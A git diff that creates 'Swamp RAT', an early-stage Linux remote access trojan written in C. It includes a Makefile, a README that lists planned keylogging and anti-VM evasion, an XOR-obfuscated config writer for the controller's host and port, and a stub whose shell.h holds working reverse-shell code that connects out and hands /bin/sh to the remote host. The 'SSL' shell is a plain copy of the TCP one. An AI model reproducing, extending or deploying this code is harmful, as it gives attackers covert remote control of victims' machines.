diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..d653d41 --- /dev/null +++ b/Makefile @@ -0,0 +1,9 @@ +all: + mkdir -p bin/ + gcc src/main.c -o bin/swamp-rat + gcc src/stub.c -o bin/stub + objcopy bin/swamp-rat --add-section rodata=bin/stub + cp bin/swamp-rat swamp-rat +clean: + rm -f swamp-rat + rm -rf bin/ diff --git a/README.md b/README.md new file mode 100644 index 0000000..c9277c5 --- /dev/null +++ b/README.md @@ -0,0 +1,22 @@ +# Swamp RAT + +A `linux` RAT that lurks where others do not. + +# Purpose + +I started this as most free `linux` RATs are done half hazardly in higher level languages. + +# Dependancies +- [`openssl`](https://www.openssl.org/) - libssl-dev + +# Building Swamp RAT +```bash +make +sudo make install +``` + +# TODO +- Communication Protocol +- Keylogging +- AntiVM +- RE Evasion diff --git a/src/include/defs.h b/src/include/defs.h new file mode 100644 index 0000000..a6808fc --- /dev/null +++ b/src/include/defs.h @@ -0,0 +1,27 @@ +// Swamp RAT Stub Defines + +#ifndef TCP_PORT_MAX +#define TCP_PORT_MAX 65535 +#endif + +#ifndef TCP_PORT_MIN +#define TCP_PORT_MIN 1 +#endif + +#ifndef MAX_DOMAIN_LEN +#define MAX_DOMAIN_LEN 63 +#endif + +/* #ifndef BOOL_DEFINED */ +/* typedef enum{false, true} bool; */ +/* #define BOOL_DEFINED */ +/* #endif */ + +#ifndef CONFIG_DEFINED +typedef struct{ + int xor_key; + char host[MAX_DOMAIN_LEN]; + int host_port; +} config; +#define CONFIG_DEFINED +#endif diff --git a/src/include/main/config.h b/src/include/main/config.h new file mode 100644 index 0000000..79251ee --- /dev/null +++ b/src/include/main/config.h @@ -0,0 +1,57 @@ +// Swamp RAT Configuration Writer +#include +#include +#include +#include +#include "../defs.h" +#include "crypt.h" + +config *config_create(char * host, + int host_port, + int xor_key){ + /* + :TODO: write config to memory pointer + :host_port: host port + :host: host domain name or ip address + :sandbox_evasion: sandbox evasion + :detection_evasion: detection evasion + :returns: pointer to configuration data + */ + config *p_config = malloc(sizeof(config)); + p_config->host_port = host_port; + if (strlen(host) > MAX_DOMAIN_LEN){ + fprintf(stderr, "error: config host exceeds max domain length\n"); + exit(EXIT_FAILURE); + } else{ + strncpy(p_config->host, host, strlen(host)); + } + p_config->xor_key = xor_key; + return p_config; +} + +bool config_write(char *config_path, + char *host, + int host_port, + int xor_key){ + /* + :TODO: write configuration to file + :host_port: host port + :host: domain name or ip address + :sandbox_evasion: sandbox evasion + :detection_evasion: detection evasion + :returns: bool + */ + config *p_config_host = config_create(host, + host_port, + xor_key); + crypt_encrypt_xor_config(p_config_host, sizeof(config), xor_key); + FILE *fp; + fp = fopen(config_path, "w"); + fwrite(p_config_host, + sizeof(config), + 1, + fp); + fclose(fp); + free(p_config_host); + return true; +} diff --git a/src/include/main/crypt.h b/src/include/main/crypt.h new file mode 100644 index 0000000..232ec21 --- /dev/null +++ b/src/include/main/crypt.h @@ -0,0 +1,43 @@ +// Swamp RAT Encryption Library + +#include +#include +#include +#include +#include "../defs.h" + +bool crypt_encrypt_xor_config(char *data, + int data_size, + int key){ + /* + :TODO: encrypt config data structure + :data: pointer to data structure + :data_size: size of config + :key: xor integer key + :returns: bool + */ + for (int i = 0; i < data_size; i++){ + if (i > (int)sizeof(int) - 1){ + data[i] = data[i]^key; + } + } + return true; +} + +bool crypt_decrypt_xor_config(char *data, + int data_size, + int key){ + /* + :TODO: decrypt config data structure + :data: pointer to data structure + :data_size: size of config + :key: xor integer key + :returns: bool + */ + for (int i = 0; i < data_size; i++){ + if (i > (int)sizeof(int) - 1){ + data[i] = data[i]^key; + } + } + return true; +} diff --git a/src/include/stub/shell.h b/src/include/stub/shell.h new file mode 100644 index 0000000..d5c8ac1 --- /dev/null +++ b/src/include/stub/shell.h @@ -0,0 +1,74 @@ +// Swamp RAT Stub Reverse Shell + +#include +#include +#include +#include +#include +#include +#include +#include "../defs.h" + +extern char **environ; + +bool shell_reverse_tcp(char *host, int host_port){ + /* + :TODO: send reverse shell + :host: domain or ip address + :host_port: host port + :returns: bool + */ + int sockfd; + if (strlen(host) > MAX_DOMAIN_LEN){ + fprintf(stderr, "error: invalid ip or domain length\n"); + return false; + } + if (host_port > TCP_PORT_MAX || host_port <= TCP_PORT_MIN){ + fprintf(stderr, "error: invalid port number\n"); + return false; + } + struct sockaddr_in srv_addr; + srv_addr.sin_family = AF_INET; + srv_addr.sin_port = htons(host_port); + srv_addr.sin_addr.s_addr = inet_addr(host); + sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); + connect(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr)); + for (int i = 0; i <= 2; i++){ + dup2(sockfd, i); + } + execve("/bin/sh", + (char *[]){"bin/sh", 0}, + environ); + return true; +} + +bool shell_reverse_ssl(char *host, int host_port){ + /* + :TODO: send reverse shell + :host: domain or ip address + :host_port: host port + :returns: bool + */ + int sockfd; + if (strlen(host) > MAX_DOMAIN_LEN){ + fprintf(stderr, "error: invalid ip or domain length\n"); + return false; + } + if (host_port > TCP_PORT_MAX || host_port <= TCP_PORT_MIN){ + fprintf(stderr, "error: invalid port number\n"); + return false; + } + struct sockaddr_in srv_addr; + srv_addr.sin_family = AF_INET; + srv_addr.sin_port = htons(host_port); + srv_addr.sin_addr.s_addr = inet_addr(host); + sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); + connect(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr)); + for (int i = 0; i <= 2; i++){ + dup2(sockfd, i); + } + execve("/bin/sh", + (char *[]){"bin/sh", 0}, + environ); + return true; +} diff --git a/src/main.c b/src/main.c new file mode 100644 index 0000000..ace9dbb --- /dev/null +++ b/src/main.c @@ -0,0 +1,45 @@ +#include +#include +#include +#include "include/main/config.h" + +void help_menu(){ + printf("Swamp RAT by lillypad\n" + " [-h][--help ] help menu\n" + " [-c][--config] write config file\n" + " [-x][--xor ] xor key (int)" + " [-H][--host] server host\n" + " [-p][--port] server port\n" + " [-s][--stub] write stub file\n" + " [-c][--config] config file" + "swamp-rat -x 10 -H 127.0.0.1 -p 80 -c config.bin\n" + "swamp-rat -s stub -s config.bin\n"); +} + +int main(int argc, char **argv){ + char *host = "127.0.0.1"; + int host_port = 80; + char *config_path = "config.bin"; + int xor_key = 10; + if (argc == 2){ + if (strcmp(argv[1], "-h") == 0 || strcmp(argv[1], "--help") == 0){ + help_menu(); + return EXIT_SUCCESS; + } + } + for (int i = 1; i < argc; i++){ + if (strcmp(argv[i], "-c") == 0 || strcmp(argv[i], "--config")){ + config_path = argv[i+1]; + config_write(config_path, host, host_port, xor_key); + return EXIT_SUCCESS; + } + } + for (int i = 1; i < argc; i++){ + if (strcmp(argv[i], "-s") == 0 || strcmp(argv[i], "--stub") == 0){ + return EXIT_SUCCESS; + } + } + fprintf(stderr, "error: not enough arguments\n"); + help_menu(); + return EXIT_FAILURE; +} diff --git a/src/stub.c b/src/stub.c new file mode 100644 index 0000000..67fed9f --- /dev/null +++ b/src/stub.c @@ -0,0 +1,12 @@ +#include +#include "include/stub/shell.h" + +void help_menu(){ + printf("Swamp RAT Stub!\n"); +} + +int main(){ + help_menu(); + shell_reverse_tcp("127.0.0.1", 4444); + return 0; +}